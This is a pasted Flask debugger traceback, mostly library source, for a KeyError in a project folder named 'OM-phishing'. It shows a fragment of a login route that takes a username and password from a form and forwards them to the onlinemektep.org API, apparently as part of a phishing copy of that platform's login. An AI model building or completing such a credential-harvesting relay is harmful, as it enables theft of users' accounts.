Guest User

Untitled

a guest
Dec 18th, 2020
10
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.45 KB | None | 0 0
  1. werkzeug.exceptions.BadRequestKeyError
  2. werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand. KeyError: 'login'
  3.  
  4. Traceback (most recent call last)
  5. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2464, in __call__
  6.  
  7. def __call__(self, environ, start_response):
  8. """The WSGI server calls the Flask application object as the
  9. WSGI application. This calls :meth:`wsgi_app` which can be
  10. wrapped to applying middleware."""
  11. return self.wsgi_app(environ, start_response)
  12.  
  13. def __repr__(self):
  14. return "<%s %r>" % (self.__class__.__name__, self.name)
  15. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2450, in wsgi_app
  16. try:
  17. ctx.push()
  18. response = self.full_dispatch_request()
  19. except Exception as e:
  20. error = e
  21. response = self.handle_exception(e)
  22. except: # noqa: B001
  23. error = sys.exc_info()[1]
  24. raise
  25. return response(environ, start_response)
  26. finally:
  27. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1867, in handle_exception
  28. # if we want to repropagate the exception, we can attempt to
  29. # raise it with the whole traceback in case we can do that
  30. # (the function was actually called from the except part)
  31. # otherwise, we just raise the error again
  32. if exc_value is e:
  33. reraise(exc_type, exc_value, tb)
  34. else:
  35. raise e
  36.  
  37. self.log_exception((exc_type, exc_value, tb))
  38. server_error = InternalServerError()
  39. File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
  40. import collections.abc as collections_abc
  41.  
  42. def reraise(tp, value, tb=None):
  43. if value.__traceback__ is not tb:
  44. raise value.with_traceback(tb)
  45. raise value
  46.  
  47. implements_to_string = _identity
  48.  
  49. else:
  50. iterkeys = lambda d: d.iterkeys()
  51. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2447, in wsgi_app
  52. ctx = self.request_context(environ)
  53. error = None
  54. try:
  55. try:
  56. ctx.push()
  57. response = self.full_dispatch_request()
  58. except Exception as e:
  59. error = e
  60. response = self.handle_exception(e)
  61. except: # noqa: B001
  62. error = sys.exc_info()[1]
  63. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1952, in full_dispatch_request
  64. request_started.send(self)
  65. rv = self.preprocess_request()
  66. if rv is None:
  67. rv = self.dispatch_request()
  68. except Exception as e:
  69. rv = self.handle_user_exception(e)
  70. return self.finalize_request(rv)
  71.  
  72. def finalize_request(self, rv, from_error_handler=False):
  73. """Given the return value from a view function this finalizes
  74. the request by converting it into a response and invoking the
  75. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1821, in handle_user_exception
  76. return self.handle_http_exception(e)
  77.  
  78. handler = self._find_error_handler(e)
  79.  
  80. if handler is None:
  81. reraise(exc_type, exc_value, tb)
  82. return handler(e)
  83.  
  84. def handle_exception(self, e):
  85. """Handle an exception that did not have an error handler
  86. associated with it, or that was raised from an error handler.
  87. File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
  88. import collections.abc as collections_abc
  89.  
  90. def reraise(tp, value, tb=None):
  91. if value.__traceback__ is not tb:
  92. raise value.with_traceback(tb)
  93. raise value
  94.  
  95. implements_to_string = _identity
  96.  
  97. else:
  98. iterkeys = lambda d: d.iterkeys()
  99. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1950, in full_dispatch_request
  100. self.try_trigger_before_first_request_functions()
  101. try:
  102. request_started.send(self)
  103. rv = self.preprocess_request()
  104. if rv is None:
  105. rv = self.dispatch_request()
  106. except Exception as e:
  107. rv = self.handle_user_exception(e)
  108. return self.finalize_request(rv)
  109.  
  110. def finalize_request(self, rv, from_error_handler=False):
  111. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1936, in dispatch_request
  112. getattr(rule, "provide_automatic_options", False)
  113. and req.method == "OPTIONS"
  114. ):
  115. return self.make_default_options_response()
  116. # otherwise dispatch to the handler for that endpoint
  117. return self.view_functions[rule.endpoint](**req.view_args)
  118.  
  119. def full_dispatch_request(self):
  120. """Dispatches the request and on top of that performs request
  121. pre and postprocessing as well as HTTP exception catching and
  122. error handling.
  123. File "C:\Users\Администратор\Documents\programming\OM-phishing\app.py", line 35, in api_login
  124. return render_template("login.html")
  125.  
  126.  
  127. @app.route('/api/login', methods=['POST'])
  128. def api_login():
  129. login = request.form['login']
  130. password = request.form['password']
  131.  
  132. url = 'https://onlinemektep.org/api/v2/os/login'
  133.  
  134. response = requests.post(url, data={'login': login, 'password': password}).json()
  135. File "C:\Program Files\Python38-32\Lib\site-packages\werkzeug\datastructures.py", line 442, in __getitem__
  136.  
  137. if key in self:
  138. lst = dict.__getitem__(self, key)
  139. if len(lst) > 0:
  140. return lst[0]
  141. raise exceptions.BadRequestKeyError(key)
  142.  
  143. def __setitem__(self, key, value):
  144. """Like :meth:`add` but removes an existing key first.
  145.  
  146. :param key: the key for the value.
  147. werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand. KeyError: 'login'
  148. This is the Copy/Paste friendly version of the traceback. You can also paste this traceback into a gist:
  149.  
  150. Traceback (most recent call last):
  151. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2464, in __call__
  152. return self.wsgi_app(environ, start_response)
  153. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2450, in wsgi_app
  154. response = self.handle_exception(e)
  155. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1867, in handle_exception
  156. reraise(exc_type, exc_value, tb)
  157. File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
  158. raise value
  159. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2447, in wsgi_app
  160. response = self.full_dispatch_request()
  161. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1952, in full_dispatch_request
  162. rv = self.handle_user_exception(e)
  163. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1821, in handle_user_exception
  164. reraise(exc_type, exc_value, tb)
  165. File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
  166. raise value
  167. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1950, in full_dispatch_request
  168. rv = self.dispatch_request()
  169. File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1936, in dispatch_request
  170. return self.view_functions[rule.endpoint](**req.view_args)
  171. File "C:\Users\Администратор\Documents\programming\OM-phishing\app.py", line 35, in api_login
  172. login = request.form['login']
  173. File "C:\Program Files\Python38-32\Lib\site-packages\werkzeug\datastructures.py", line 442, in __getitem__
  174. raise exceptions.BadRequestKeyError(key)
  175. werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
  176. KeyError: 'login'
  177. The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more.
  178. Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.
Advertisement
Add Comment
Please, Sign In to add comment